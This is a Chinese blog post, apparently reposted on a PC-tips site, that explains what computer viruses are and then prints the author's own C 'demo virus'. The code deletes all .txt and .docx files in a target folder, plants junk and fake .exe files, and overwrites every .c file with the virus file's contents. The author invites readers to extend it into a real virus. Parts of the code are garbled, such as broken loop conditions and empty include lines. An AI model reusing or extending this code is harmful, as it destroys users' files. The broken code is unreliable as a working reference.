随着网络的普及,我们的生活越来越方便,但是网络安全也成了很多人面临的一个问题。特别是那些有着商业数据的企业电脑,更要注意上网安全常识,不然病毒会对我们造成严重的威胁。 前言 最近,由于手头上没有重要任务,因此我有时间对计算机病毒的知识进行浅层研究。我们为什么需要了解和研究该病毒实际上是为了更好地对其进行处理。当我在学校的时候,我一直以为计算机病毒是只有高智商的计算机才能编写的病毒。后来,通过编程行业,我逐渐意识到编写符合计算机病毒定义的病毒程序并不需要特别的高级知识。只需学习精神,耐心和基本知识即可。实际上,计算机病毒与普通程序没有太大区别,但是它们是为不同目的编写和运行的。这里是对该病毒的相关概念知识的简要说明,并且该概念只能继续使用。 什么是计算机病毒 计算机病毒是程序,是一段可执行代码。 根据《中华人民共和国计算机信息系统保护条例》,它被定义为“由编译器插入到计算机程序中的一组破坏计算机功能或破坏的计算机指令或程序代码。数据,影响计算机的使用并具有自我复制能力。” 计算机病毒的结构 在正常情况下,病毒在结构上分为三个功能模块:感染机制,触发机制和有效负载(一种骚扰计算机的方法)。 计算机病毒的书写语言是什么? 计算机病毒用C,delphi,汇编语言和机器代码编写。例如,“熊猫烧香”病毒就是用delphi编写的。 我自己编写的C语言病毒程序 实际上,该病毒程序充其量只是一个演示程序,包括两部分:有效负载和感染机制。当然,可以在我编写的程序上对其进行扩展和重写,以使其成为真正符合定义的病毒程序。 代码
#include
#include
#include
#include
#include
#include
#define INFECT_PATH "E:\\TMP"
#define DELETE_FILE1 "E:\\TMP\\*.txt"
#define DELETE_FILE2 "E:\\TMP\\*.docx"
#define CREAT_EXE1 "E:\\TMP\\worm.exe"
#define CREAT_EXE2 "E:\\TMP\\virus.exe"
#define Targetfile "E:\\TMP\\*.c"
#define Virusfile "E:\\E_KILL.c"
void MakeRubbish(void);
void CreatEXE(void);
void Remove(void);
void InfectFile(void);
void copyfile(char* infile,char *outfile);
void MakeRubbish(void)
{
int i=0;
FILE *fp=NULL;
char* path=NULL;
char* NewName=NULL;
char tempname[]="XXXXXX";
path=INFECT_PATH;
if(!_chdir(path))
{
printf("open DIR success\n");
}
else
{
printf("open DIR failed\n");
perror("Error: ");
}
NewName=_mktemp(tempname);
fp=fopen(NewName,"w");
fclose(fp);
}
void CreatEXE(void)
{
int i;
char* s[2]={CREAT_EXE1,CREAT_EXE2};
for(i=0;i2;i++)
{
open(s[i],0x0100,0x0080);
copyfile(Virusfile,s[i]);
}
}
void Remove(void)
{
int done;
int i;
struct _finddata_t ffblk;
char *documenttype[2] = {DELETE_FILE1,DELETE_FILE2};
for (i = 0; i <>2; i++)
{
done = _findfirst(documenttype[i],&ffblk);
if(done!=-1)
{
printf("delete %s\n",ffblk.name);
remove(ffblk.name);
while (!_findnext(done,&ffblk))
{
printf("delete %s\n",ffblk.name);
remove(ffblk.name);
}
}
_findclose(done);
}
}
void copyfile(char* infile,char* outfile)
{
FILE *in,*out;
in=fopen(infile,"r");
out=fopen(outfile,"w");
while(!feof(in))
{
fputc(fgetc(in),out);
}
fclose(in);
fclose(out);
}
void InfectFile(void)
{
int done;
int i;
struct _finddata_t ffblk;
char *documenttype = Targetfile;
done = _findfirst(documenttype,&ffblk);
copyfile(Virusfile,ffblk.name);
while (!_findnext(done,&ffblk))
{
copyfile(Virusfile,ffblk.name);
}
_findclose(done);
}
int main(void)
{
MakeRubbish( );
CreatEXE( );
Remove( );
InfectFile( );
system("pause");
return 0;
}
简要说明和运行结果 病毒的目的: 1.将指定目录中的所有.c文件感染到指定内容(不将病毒代码复制/添加到.c文件中)。 2.删除此目录中的所有.txt和.docx文件。 3.在此目录中创建垃圾文件。 4.将.exe垃圾放置在此目录中。 
在病毒运行之前,您首先需要创建一个实验目录和一个.c文件。例如,我在E盘上创建一个TMP文件夹和一个E_KILL.c文件。 
E_KILL.c的内容如下: #include
#include
int main(void)
{
printf("It is virus\n");
system("pause");
return 0;
}

TMP目录的内容如下: 
e.c和yy.c的内容如下: #include
#include
int main(void)
{
printf("TEST\n");
printf("TEST\n");
printf("TEST\n");
printf("TEST\n");
printf("TEST\n");
system("pause");
return 0;
}


然后开始运行病毒程序: 
运行后打开TMP文件夹: 
yy.c的内容: 

结束
本文来自本站,转载请注明本文网址: http://www.pc-fly.com/a/shouji/article-374055-1.html
上面是电脑上网安全的一些基础常识,学习了安全知识,几乎可以让你免费电脑中毒的烦扰。 |